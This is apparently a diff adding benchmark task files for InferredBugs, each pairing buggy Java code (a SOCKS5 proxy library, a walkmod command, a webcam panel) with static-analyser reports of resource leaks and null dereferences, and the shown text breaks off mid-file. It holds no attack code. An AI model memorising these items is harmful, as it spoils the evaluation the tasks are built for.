diff --git a/inferredbugs-6833/instruction.md b/inferredbugs-6833/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..2e06f441853d053c890bbd64a087cc1ec3c6fe5b
--- /dev/null
+++ b/inferredbugs-6833/instruction.md
@@ -0,0 +1,481 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** sockslib
+**Bug ID:** 6
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2015-2025 the original author or authors.
+ * 
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+ * in compliance with the License. You may obtain a copy of the License at
+ * 
+ * http://www.apache.org/licenses/LICENSE-2.0
+ * 
+ * Unless required by applicable law or agreed to in writing, software distributed under the License
+ * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
+ * or implied. See the License for the specific language governing permissions and limitations under
+ * the License.
+ */
+
+package fucksocks.server;
+
+import fucksocks.client.SocksProxy;
+import fucksocks.common.methods.SocksMethod;
+import fucksocks.common.net.MonitorSocketWrapper;
+import fucksocks.common.net.NetworkMonitor;
+import fucksocks.server.filters.SessionFilter;
+import fucksocks.server.filters.SessionFilterChain;
+import fucksocks.server.filters.SocksCommandFilter;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.io.IOException;
+import java.net.ServerSocket;
+import java.net.Socket;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+
+import static com.google.common.base.Preconditions.checkNotNull;
+
+/**
+ * The class <code>BasicSocksProxyServer</code> is a implementation of {@link SocksProxyServer}
+ * .<br>
+ * You can build a SOCKS5 server easily by following codes:<br>
+ * <pre>
+ * ProxyServer proxyServer = new BasicSocksProxyServer(Socks5Handler.class);
+ * proxyServer.start(); // Create a SOCKS5 server bind at 1080.
+ * </pre>
+ * <p>
+ * If you want change the port, you can using following codes:
+ * </p>
+ * <pre>
+ * proxyServer.start(9999);
+ * </pre>
+ *
+ * @author Youchao Feng
+ * @version 1.0
+ * @date Apr 19, 2015 1:10:17 PM
+ */
+public class BasicSocksProxyServer implements SocksProxyServer, Runnable {
+
+  protected static final Logger logger = LoggerFactory.getLogger(BasicSocksProxyServer.class);
+
+  /**
+   * Number of threads in thread pool.
+   */
+  protected static final int THREAD_NUMBER = 100;
+
+  /**
+   * Thread pool used to process each connection.
+   */
+  private ExecutorService executorService;
+
+  /**
+   * The next session's ID.
+   */
+  private long nextSessionId = 0;
+
+  /**
+   * Server socket.
+   */
+  private ServerSocket serverSocket;
+
+  /**
+   * SOCKS socket handler class.
+   */
+  private Class<? extends SocksHandler> socksHandlerClass;
+
+  /**
+   * Sessions that server managed.
+   */
+  private Map<Long, Session> sessions;
+
+  /**
+   * A flag.
+   */
+  private boolean stop = false;
+
+  /**
+   * Thread that start the server.
+   */
+  private Thread thread;
+
+  /**
+   * Session filter chain.
+   */
+  private SessionFilterChain sessionFilterChain = new SessionFilterChain();
+
+  /**
+   * Timeout for a session.
+   */
+  private int timeout = 10000;
+
+  private boolean daemon = false;
+
+  /**
+   * Method selector.
+   */
+  private MethodSelector methodSelector = new SocksMethodSelector();
+
+  /**
+   * Buffer size.
+   */
+  private int bufferSize = 1024 * 1024 * 5;
+
+  /**
+   * SOCKS listeners.
+   */
+  private List<SocksCommandFilter> socksListeners;
+
+  private int bindPort = DEFAULT_SOCKS_PORT;
+
+  private SocksProxy proxy;
+
+  private NetworkMonitor networkMonitor = new NetworkMonitor();
+
+
+  /**
+   * Constructs a {@link BasicSocksProxyServer} by a {@link SocksHandler} class. The bind port is
+   * 1080.
+   *
+   * @param socketHandlerClass {@link SocksHandler} class.
+   */
+  public BasicSocksProxyServer(Class<? extends SocksHandler> socketHandlerClass) {
+    this(socketHandlerClass, DEFAULT_SOCKS_PORT, Executors.newFixedThreadPool(THREAD_NUMBER));
+  }
+
+  /**
+   * Constructs a {@link BasicSocksProxyServer} by a {@link SocksHandler} class and a port.
+   *
+   * @param socketHandlerClass {@link SocksHandler} class.
+   * @param port               The port that SOCKS server will listen.
+   */
+  public BasicSocksProxyServer(Class<? extends SocksHandler> socketHandlerClass, int port) {
+    this(socketHandlerClass, port, Executors.newFixedThreadPool(THREAD_NUMBER));
+  }
+
+  /**
+   * Constructs a {@link BasicSocksProxyServer} by a {@link SocksHandler} class and a
+   * ExecutorService.
+   *
+   * @param socketHandlerClass {@link SocksHandler} class.
+   * @param executorService    Thread pool.
+   */
+  public BasicSocksProxyServer(Class<? extends SocksHandler> socketHandlerClass, ExecutorService
+      executorService) {
+    this(socketHandlerClass, DEFAULT_SOCKS_PORT, executorService);
+  }
+
+  /**
+   * Constructs a {@link BasicSocksProxyServer} by a {@link SocksHandler} class , a port and a
+   * ExecutorService.
+   *
+   * @param socketHandlerClass {@link SocksHandler} class.
+   * @param port               The port that SOCKS server will listen.
+   * @param executorService    Thread pool.
+   */
+  public BasicSocksProxyServer(Class<? extends SocksHandler> socketHandlerClass, int port,
+                               ExecutorService executorService) {
+    this.socksHandlerClass =
+        checkNotNull(socketHandlerClass, "Argument [socksHandlerClass] may not be null");
+    this.executorService =
+        checkNotNull(executorService, "Argument [executorService] may not be null");
+    this.bindPort = port;
+    sessions = new HashMap<>();
+  }
+
+  @Override
+  public void run() {
+    logger.info("Start proxy server at port:{}", bindPort);
+    while (!stop) {
+      try {
+        Socket socket = serverSocket.accept();
+        socket = processSocketBeforeUse(socket);
+        socket.setSoTimeout(timeout);
+        Session session = new SocksSession(getNextSessionId(), socket, sessions);
+        sessions.put(session.getId(), session);
+        logger.info("Create SESSION[{}] for {}", session.getId(), session.getClientAddress());
+
+        try {
+          sessionFilterChain.doFilterChain(session);
+        } catch (InterruptedException e) {
+          session.close();
+          logger.info(e.getMessage());
+          continue;
+        }
+
+        SocksHandler socksHandler = createSocksHandler();
+
+        /* initialize socks handler */
+        socksHandler.setSession(session);
+        initializeSocksHandler(socksHandler);
+
+        executorService.execute(socksHandler);
+
+      } catch (IOException e) {
+        // Catches the exception that cause by shutdown method.
+        if (e.getMessage().equals("Socket closed") && stop) {
+          logger.debug("Server shutdown");
+          return;
+        }
+        logger.debug(e.getMessage(), e);
+      }
+    }
+  }
+
+  @Override
+  public void shutdown() {
+    stop = true;
+    executorService.shutdown();
+    if (thread != null) {
+      thread.interrupt();
+    }
+    try {
+      closeAllSession();
+      if (serverSocket != null && serverSocket.isBound()) {
+        serverSocket.close();
+      }
+    } catch (IOException e) {
+      logger.error(e.getMessage(), e);
+    }
+  }
+
+  @Override
+  public void start() throws IOException {
+    serverSocket = createServerSocket(bindPort);
+    thread = new Thread(this);
+    thread.setName("fs-thread");
+    thread.setDaemon(daemon);
+    thread.start();
+  }
+
+  protected ServerSocket createServerSocket(int bindPort) throws IOException {
+    return new ServerSocket(bindPort);
+  }
+
+  @Override
+  public SocksHandler createSocksHandler() {
+    try {
+      return socksHandlerClass.newInstance();
+    } catch (InstantiationException | IllegalAccessException e) {
+      logger.error(e.getMessage(), e);
+    }
+    return null;
+  }
+
+  @Override
+  public void initializeSocksHandler(SocksHandler socksHandler) {
+    socksHandler.setMethodSelector(methodSelector);
+    socksHandler.setBufferSize(bufferSize);
+    socksHandler.setSocksCommandFilters(socksListeners);
+    socksHandler.setProxy(proxy);
+  }
+
+  /**
+   * Closes all sessions.
+   */
+  protected void closeAllSession() {
+    for (long key : sessions.keySet()) {
+      sessions.get(key).close();
+    }
+
+  }
+
+  public ExecutorService getExecutorService() {
+    return executorService;
+  }
+
+  public void setExecutorService(ExecutorService executorService) {
+    this.executorService = executorService;
+  }
+
+  private synchronized long getNextSessionId() {
+    nextSessionId++;
+    return nextSessionId;
+  }
+
+  @Override
+  public Map<Long, Session> getManagedSessions() {
+    return sessions;
+  }
+
+  @Override
+  public void setSupportMethods(SocksMethod... methods) {
+    methodSelector.setSupportMethod(methods);
+
+  }
+
+  @Override
+  public int getTimeout() {
+    return timeout;
+  }
+
+
+  @Override
+  public void setTimeout(int timeout) {
+    this.timeout = timeout;
+  }
+
+  @Override
+  public int getBufferSize() {
+    return bufferSize;
+  }
+
+  @Override
+  public void setBufferSize(int bufferSize) {
+    this.bufferSize = bufferSize;
+  }
+
+  @Override
+  public void addSocksCommandFilter(SocksCommandFilter socksListener) {
+    if (socksListeners == null) {
+      socksListeners = new ArrayList<>();
+    }
+    socksListeners.add(socksListener);
+  }
+
+  @Override
+  public void removeSocksCommandFilter(SocksCommandFilter socksListener) {
+    if (socksListener == null) {
+      return;
+    }
+    socksListeners.remove(socksListener);
+  }
+
+  @Override
+  public void addSessionFilter(SessionFilter sessionFilter) {
+    sessionFilterChain.addFilter(sessionFilter);
+  }
+
+  @Override
+  public void removeSessionFilter(SessionFilter sessionFilter) {
+    sessionFilterChain.remoteFilter(sessionFilter);
+  }
+
+  @Override
+  public SocksProxy getProxy() {
+    return proxy;
+  }
+
+  @Override
+  public void setProxy(SocksProxy proxy) {
+    this.proxy = proxy;
+  }
+
+  @Override
+  public int getBindPort() {
+    return bindPort;
+  }
+
+  @Override
+  public void setBindPort(int bindPort) {
+    this.bindPort = bindPort;
+  }
+
+  @Override
+  public boolean isDaemon() {
+    return daemon;
+  }
+
+  @Override
+  public void setDaemon(boolean daemon) {
+    this.daemon = daemon;
+  }
+
+  public SessionFilterChain getSessionFilterChain() {
+    return sessionFilterChain;
+  }
+
+  public void setSessionFilterChain(SessionFilterChain sessionFilterChain) {
+    this.sessionFilterChain = sessionFilterChain;
+  }
+
+  public Thread getServerThread() {
+    return thread;
+  }
+
+  public NetworkMonitor getNetworkMonitor() {
+    return networkMonitor;
+  }
+
+  public void setNetworkMonitor(NetworkMonitor networkMonitor) {
+    this.networkMonitor = checkNotNull(networkMonitor);
+  }
+
+  protected Socket processSocketBeforeUse(Socket socket) {
+    return new MonitorSocketWrapper(socket, networkMonitor);
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.InputStream` acquired by call to `accept()` at line 191 is not released after line 209.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void BasicSocksProxyServer.run()
+
+### Procedure Id:
+fucksocks.server.BasicSocksProxyServer.run():void.8af232339a0444a8074fe4da36e1135f
+
+### File:
+src/main/java/fucksocks/server/BasicSocksProxyServer.java
+
+### Key:
+BasicSocksProxyServer.java|run|RESOURCE_LEAK
+
+### Node Key:
+83959e9fcc38091e8a449c880f85c5ad
+
+### Hash:
+8d055565e8e7fa9525642b5db1fdfc32
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6834/instruction.md b/inferredbugs-6834/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..5395c370f4fa6cbc310fc6b595d37bd3ef71d10e
--- /dev/null
+++ b/inferredbugs-6834/instruction.md
@@ -0,0 +1,149 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** sockslib
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2015-2025 the original author or authors.
+ * 
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+ * in compliance with the License. You may obtain a copy of the License at
+ * 
+ * http://www.apache.org/licenses/LICENSE-2.0
+ * 
+ * Unless required by applicable law or agreed to in writing, software distributed under the License
+ * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
+ * or implied. See the License for the specific language governing permissions and limitations under
+ * the License.
+ */
+
+package fucksocks.test;
+
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.io.PrintWriter;
+import java.net.InetSocketAddress;
+import java.util.ArrayList;
+import java.util.List;
+
+import fucksocks.client.Socks5;
+import fucksocks.client.SocksProxy;
+import fucksocks.client.SocksSocket;
+import fucksocks.common.methods.NoAuthencationRequiredMethod;
+import fucksocks.common.methods.SocksMethod;
+import fucksocks.utils.SocksClientSSLUtil;
+
+/**
+ * SSL Client
+ * 
+ * @author Leo
+ */
+public class SSLSocketClient {
+
+  public static void main(String[] args) throws Exception {
+
+    SocksClientSSLUtil sslUtil = SocksClientSSLUtil.loadClassPath("client-ssl.properties");
+
+    SocksProxy proxy = new Socks5(new InetSocketAddress("localhost", 1080));
+    List<SocksMethod> methods = new ArrayList<SocksMethod>();
+    methods.add(new NoAuthencationRequiredMethod());
+    proxy.setAcceptableMethods(methods);
+    SocksSocket socket = sslUtil.create(proxy);
+
+    socket.connect("whois.internic.net", 43);
+    InputStream inputStream = socket.getInputStream();
+    OutputStream outputStream = socket.getOutputStream();
+    PrintWriter printWriter = new PrintWriter(outputStream);
+    printWriter.print("domain google.com\r\n");
+    printWriter.flush();
+
+    byte[] whoisrecords = new byte[2048];
+    java.util.List<Byte> bytelist = new ArrayList<>(1024 * 6);
+    int size = 0;
+    while ((size = inputStream.read(whoisrecords)) > 0) {
+      for (int i = 0; i < size; i++) {
+        bytelist.add(whoisrecords[i]);
+      }
+    }
+    byte[] resultbyte = new byte[bytelist.size()];
+    for (int i = 0; i < resultbyte.length; i++) {
+      resultbyte[i] = bytelist.get(i);
+    }
+    String string = new String(resultbyte);
+    System.out.println(string);
+
+    inputStream.close();
+    outputStream.close();
+    socket.close();
+  }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.InputStream` acquired by call to `create(...)` at line 46 is not released after line 72.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void SSLSocketClient.main(java.lang.String[])
+
+### Procedure Id:
+fucksocks.test.SSLSocketClient.main(java.lang.String[]):void.77e6d61c45d08a83b933342f47d1e462
+
+### File:
+src/test/java/fucksocks/test/SSLSocketClient.java
+
+### Key:
+SSLSocketClient.java|main|RESOURCE_LEAK
+
+### Node Key:
+389a9726c2e2b00b3641ff005ae31cea
+
+### Hash:
+14ec99ce0673055c83a5c3893a1bbc60
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6835/instruction.md b/inferredbugs-6835/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..bb9c678a10e5390d613b49305a60ad2d719766e7
--- /dev/null
+++ b/inferredbugs-6835/instruction.md
@@ -0,0 +1,197 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** sockslib
+**Bug ID:** 8
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package fucksocks.quickstart;
+
+import fucksocks.common.methods.NoAuthenticationRequiredMethod;
+import fucksocks.common.methods.UsernamePasswordMethod;
+import fucksocks.common.net.NetworkMonitor;
+import fucksocks.server.BasicSocksProxyServer;
+import fucksocks.server.SocksProxyServer;
+import fucksocks.server.SocksServerBuilder;
+import fucksocks.server.manager.MemoryBasedUserManager;
+import fucksocks.server.manager.User;
+import fucksocks.server.manager.UserManager;
+import fucksocks.utils.ArgUtil;
+import fucksocks.utils.Timer;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import javax.annotation.Nullable;
+import java.io.IOException;
+
+/**
+ * The class <code>Socks5Server</code> can create a simple Socks5 server.
+ *
+ * @author Youchao Feng
+ * @version 1.0
+ * @date Sep 24, 2015 11:25 AM
+ */
+public class Socks5Server {
+
+  private static final Logger logger = LoggerFactory.getLogger(Socks5Server.class);
+  private SocksProxyServer server;
+
+  /**
+   * Run a SOCKS5 server. Same as @{@link #start(String[])}.
+   *
+   * @param args Some arguments.
+   * @throws IOException
+   */
+  public static void main(@Nullable String[] args) throws IOException, InterruptedException {
+    Timer.open();
+    Socks5Server socks5Server = new Socks5Server();
+    socks5Server.start(args);
+    BasicSocksProxyServer server = (BasicSocksProxyServer) socks5Server.server;
+    NetworkMonitor monitor = server.getNetworkMonitor();
+    while (true) {
+      logger.info(monitor.toString());
+      Thread.sleep(5000);
+    }
+
+  }
+
+  /**
+   * Start a SOCKS5 server with some options.
+   *
+   * @param args Arguments.Support "--h --help --port --auth"
+   * @throws IOException
+   */
+  public void start(@Nullable String[] args) throws IOException {
+    int port = 1080;
+    String authValue = null;
+    if (args != null) {
+      for (String arg : args) {
+        if (arg.equals("-h") || arg.equals("--help")) {
+          showHelp();
+          System.exit(0);
+        } else if (arg.startsWith("--port=")) {
+          port = ArgUtil.intValueOf(arg);
+        } else if (arg.startsWith("--auth=")) {
+          authValue = ArgUtil.valueOf(arg);
+        } else {
+          logger.error("Unknown argument[{}]", arg);
+          return;
+        }
+      }
+    }
+    if (authValue == null) {
+      server =
+          SocksServerBuilder.newSocks5ServerBuilder().setSocksMethods(new
+              NoAuthenticationRequiredMethod()).setBindPort(port).build();
+    } else {
+      UserManager userManager = new MemoryBasedUserManager();
+      for (String user : authValue.split(",")) {
+        String[] userPassword = user.split(":");
+        String username = userPassword[0];
+        String password = userPassword[1];
+        userManager.create(new User(username, password));
+      }
+      server =
+          SocksServerBuilder.newSocks5ServerBuilder().setSocksMethods(new UsernamePasswordMethod
+              ()).setUserManager(userManager).setBindPort(port).build();
+    }
+    final SocksProxyServer finalServer = server;
+    Runtime.getRuntime().addShutdownHook(new Thread(new Runnable() {
+      @Override
+      public void run() {
+        finalServer.shutdown();
+        logger.info("SOCKS5 sever shutdown");
+      }
+    }));
+    server.start();
+  }
+
+  /**
+   * Print help information.
+   */
+  public void showHelp() {
+    System.out.println("Usage: [Options]");
+    System.out.println("    --port=<val>         Server bind port");
+    System.out.println("    --auth=<val1:val2>   Use username/password authentication");
+    System.out.println("                         Example: --auth=admin:1234");
+    System.out.println("                                  --auth=admin:1234,root:1234");
+    System.out.println("    -h or --help         Show help");
+  }
+
+  /**
+   * Shutdown SOCKS5 server.
+   */
+  public void shutdown() {
+    if (server != null) {
+      server.shutdown();
+    }
+  }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `server` last assigned on line 42 could be null and is dereferenced at line 43.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void Socks5Server.main(java.lang.String[])
+
+### Procedure Id:
+fucksocks.quickstart.Socks5Server.main(java.lang.String[]):void.2d56cc903f451f877ee9b3de6f5f3274
+
+### File:
+src/main/java/fucksocks/quickstart/Socks5Server.java
+
+### Key:
+Socks5Server.java|main|NULL_DEREFERENCE
+
+### Node Key:
+d46e1684de2ca326ba231ad8a5b48143
+
+### Hash:
+c29502f06e81f31c3859b63d6d6b9139
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6851/instruction.md b/inferredbugs-6851/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..10ddc6c2d326ad43f3abcabe10f37ce4ebf1fb15
--- /dev/null
+++ b/inferredbugs-6851/instruction.md
@@ -0,0 +1,277 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** walkmod-core
+**Bug ID:** 5
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/* 
+  Copyright (C) 2013 Raquel Pau and Albert Coroleu.
+ 
+  Walkmod is free software: you can redistribute it and/or modify
+  it under the terms of the GNU Lesser General Public License as published by
+  the Free Software Foundation, either version 3 of the License, or
+  (at your option) any later version.
+ 
+  Walkmod is distributed in the hope that it will be useful,
+  but WITHOUT ANY WARRANTY; without even the implied warranty of
+  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+  GNU Lesser General Public License for more details.
+ 
+  You should have received a copy of the GNU Lesser General Public License
+  along with Walkmod.  If not, see <http://www.gnu.org/licenses/>.*/
+package org.walkmod.commands;
+
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.net.URL;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.LinkedHashMap;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+
+import javax.xml.parsers.DocumentBuilder;
+import javax.xml.parsers.DocumentBuilderFactory;
+
+import org.w3c.dom.Document;
+import org.w3c.dom.NodeList;
+import org.walkmod.OptionsBuilder;
+import org.walkmod.WalkModFacade;
+import org.walkmod.conf.entities.Configuration;
+import org.walkmod.conf.entities.PluginConfig;
+import org.walkmod.conf.entities.impl.PluginConfigImpl;
+import org.walkmod.exceptions.WalkModException;
+
+import com.alibaba.fastjson.JSONArray;
+import com.alibaba.fastjson.JSONObject;
+import com.alibaba.fastjson.parser.DefaultJSONParser;
+import com.beust.jcommander.JCommander;
+import com.beust.jcommander.Parameter;
+import com.beust.jcommander.Parameters;
+
+import de.vandermeer.asciitable.v2.V2_AsciiTable;
+
+@Parameters(separators = "=", commandDescription = "Shows the available walkmod plugins created by the community.")
+public class PrintPluginsCommand implements Command, AsciiTableAware {
+
+	public final static String MVN_SEARCH_URL = "https://search.maven.org/solrsearch/select?q=walkmod&&rows=50&&wt=json";
+
+	public final static String ARTIFACT_DETAILS_URL = "https://search.maven.org/remotecontent?filepath=";
+
+	@Parameter(names = "--help", help = true, hidden = true)
+	private boolean help;
+
+	private JCommander command;
+
+	private V2_AsciiTable at = null;
+
+	public PrintPluginsCommand(JCommander command) {
+		this.command = command;
+	}
+
+	public void execute() {
+		if (help) {
+			command.usage("init");
+		} else {
+			try {
+				WalkModFacade facade = new WalkModFacade(OptionsBuilder.options());
+				Configuration cfg = facade.getConfiguration();
+				Collection<PluginConfig> installedPlugins = cfg.getPlugins();
+				URL searchURL = new URL(MVN_SEARCH_URL);
+				InputStream is = null;
+				Map<String, Boolean> installedList = new LinkedHashMap<String, Boolean>();
+				Map<String, String> pluginsList = new LinkedHashMap<String, String>();
+				Map<String, String> pluginsURLs = new LinkedHashMap<String, String>();
+				try {
+					is = searchURL.openStream();
+
+					String content = readInputStreamAsString(is);
+					DefaultJSONParser parser = new DefaultJSONParser(content);
+					JSONObject object = parser.parseObject();
+					parser.close();
+
+					JSONArray artifactList = (object.getJSONObject("response")).getJSONArray("docs");
+
+					for (int i = 0; i < artifactList.size(); i++) {
+						JSONObject artifact = artifactList.getJSONObject(i);
+						String artifactId = artifact.getString("a");
+						if (artifactId.startsWith("walkmod-") && artifactId.endsWith("-plugin")) {
+							String groupId = artifact.getString("g");
+							String latestVersion = artifact.getString("latestVersion");
+							String pom = artifactId + "-" + latestVersion + ".pom";
+							String directory = groupId.replaceAll("\\.", "/");
+
+							URL artifactDetailsURL = new URL(ARTIFACT_DETAILS_URL + directory + "/" + artifactId + "/"
+									+ latestVersion + "/" + pom);
+
+							InputStream projectIs = artifactDetailsURL.openStream();
+
+							try {
+								DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
+								DocumentBuilder dBuilder = dbFactory.newDocumentBuilder();
+								Document doc = dBuilder.parse(projectIs);
+
+								NodeList nList = doc.getElementsByTagName("description");
+								String description = "unavailable description";
+								if (nList.getLength() == 1) {
+									description = nList.item(0).getTextContent();
+								}
+								String id = "";
+								if (!groupId.equals("org.walkmod")) {
+									id = groupId + ":";
+								}
+								id += artifactId.substring("walkmod-".length(),
+										artifactId.length() - "-plugin".length());
+
+								if (Character.isLowerCase(description.charAt(0))) {
+									description = Character.toUpperCase(description.charAt(0))
+											+ description.substring(1, description.length());
+								}
+								if (!description.endsWith(".")) {
+									description = description + ".";
+								}
+								pluginsList.put(id, description);
+								nList = doc.getChildNodes().item(0).getChildNodes();
+								int max = nList.getLength();
+								String url = "unavailable url";
+
+								for (int j = 0; j < max; j++) {
+									String name = nList.item(j).getNodeName();
+									if (name.equals("url")) {
+										url = nList.item(j).getTextContent();
+										j = max;
+									}
+								}
+
+								pluginsURLs.put(id, url);
+
+								PluginConfig equivalentPluginCfg = new PluginConfigImpl();
+								equivalentPluginCfg.setGroupId(groupId);
+								equivalentPluginCfg.setArtifactId(artifactId);
+
+								boolean isInstalled = (installedPlugins != null && installedPlugins
+										.contains(equivalentPluginCfg));
+
+								installedList.put(id, isInstalled);
+
+							} finally {
+								projectIs.close();
+							}
+						}
+					}
+				} finally {
+					is.close();
+				}
+				Set<String> keys = pluginsList.keySet();
+				List<String> sortedKeys = new LinkedList<String>(keys);
+				Collections.sort(sortedKeys);
+
+				at = new V2_AsciiTable();
+				at.addRule();
+				at.addRow("PLUGIN NAME (ID)", "INSTALLED", "URL (DOCUMENTATION)", "DESCRIPTION");
+				at.addStrongRule();
+				for (String key : sortedKeys) {
+					String installed = "";
+					if (installedList.get(key)) {
+						installed = "*";
+					}
+					at.addRow(key, installed, pluginsURLs.get(key), pluginsList.get(key));
+				}
+				at.addRule();
+
+			} catch (Exception e) {
+				throw new WalkModException("Invalid plugins URL", e);
+			}
+		}
+	}
+
+	private String readInputStreamAsString(InputStream is) throws IOException {
+		InputStreamReader reader = new InputStreamReader(is);
+		BufferedReader br = new BufferedReader(reader);
+		String line = br.readLine();
+		String response = "";
+		while (line != null) {
+			response += line + '\n';
+			line = br.readLine();
+		}
+		return response;
+	}
+
+	@Override
+	public V2_AsciiTable getTable() {
+		return at;
+	}
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `cfg` last assigned on line 76 could be null and is dereferenced at line 77.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void PrintPluginsCommand.execute()
+
+### Procedure Id:
+org.walkmod.commands.PrintPluginsCommand.execute():void.346c15478b583b4bacf0b1d02fb52e71
+
+### File:
+src/main/java/org/walkmod/commands/PrintPluginsCommand.java
+
+### Key:
+PrintPluginsCommand.java|execute|NULL_DEREFERENCE
+
+### Node Key:
+21bbf00bf52cbb29c85ade37dbbc751f
+
+### Hash:
+bc004945b14f927a551885c4087d596f
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6856/instruction.md b/inferredbugs-6856/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..dad1f6ed075648c672b69702a657ed37b64d9fb6
--- /dev/null
+++ b/inferredbugs-6856/instruction.md
@@ -0,0 +1,242 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** webcam-capture
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.github.sarxos.webcam;
+
+import java.awt.Graphics;
+import java.awt.image.BufferedImage;
+
+import javax.swing.JPanel;
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+
+/**
+ * Simply implementation of JPanel allowing users to render pictures taken with
+ * webcam.
+ * 
+ * @author Bartosz Firyn (SarXos)
+ */
+public class WebcamPanel extends JPanel implements WebcamListener {
+
+	private static final long serialVersionUID = 5792962512394656227L;
+
+	private static final Logger LOG = LoggerFactory.getLogger(WebcamPanel.class);
+
+	private double frequency = 5; // Hz
+
+	private class Repainter extends Thread {
+
+		public Repainter() {
+			setDaemon(true);
+		}
+
+		@Override
+		public void run() {
+			super.run();
+
+			while (webcam.isOpen()) {
+
+				image = webcam.getImage();
+				if (image == null) {
+					LOG.error("Image is null");
+				}
+
+				try {
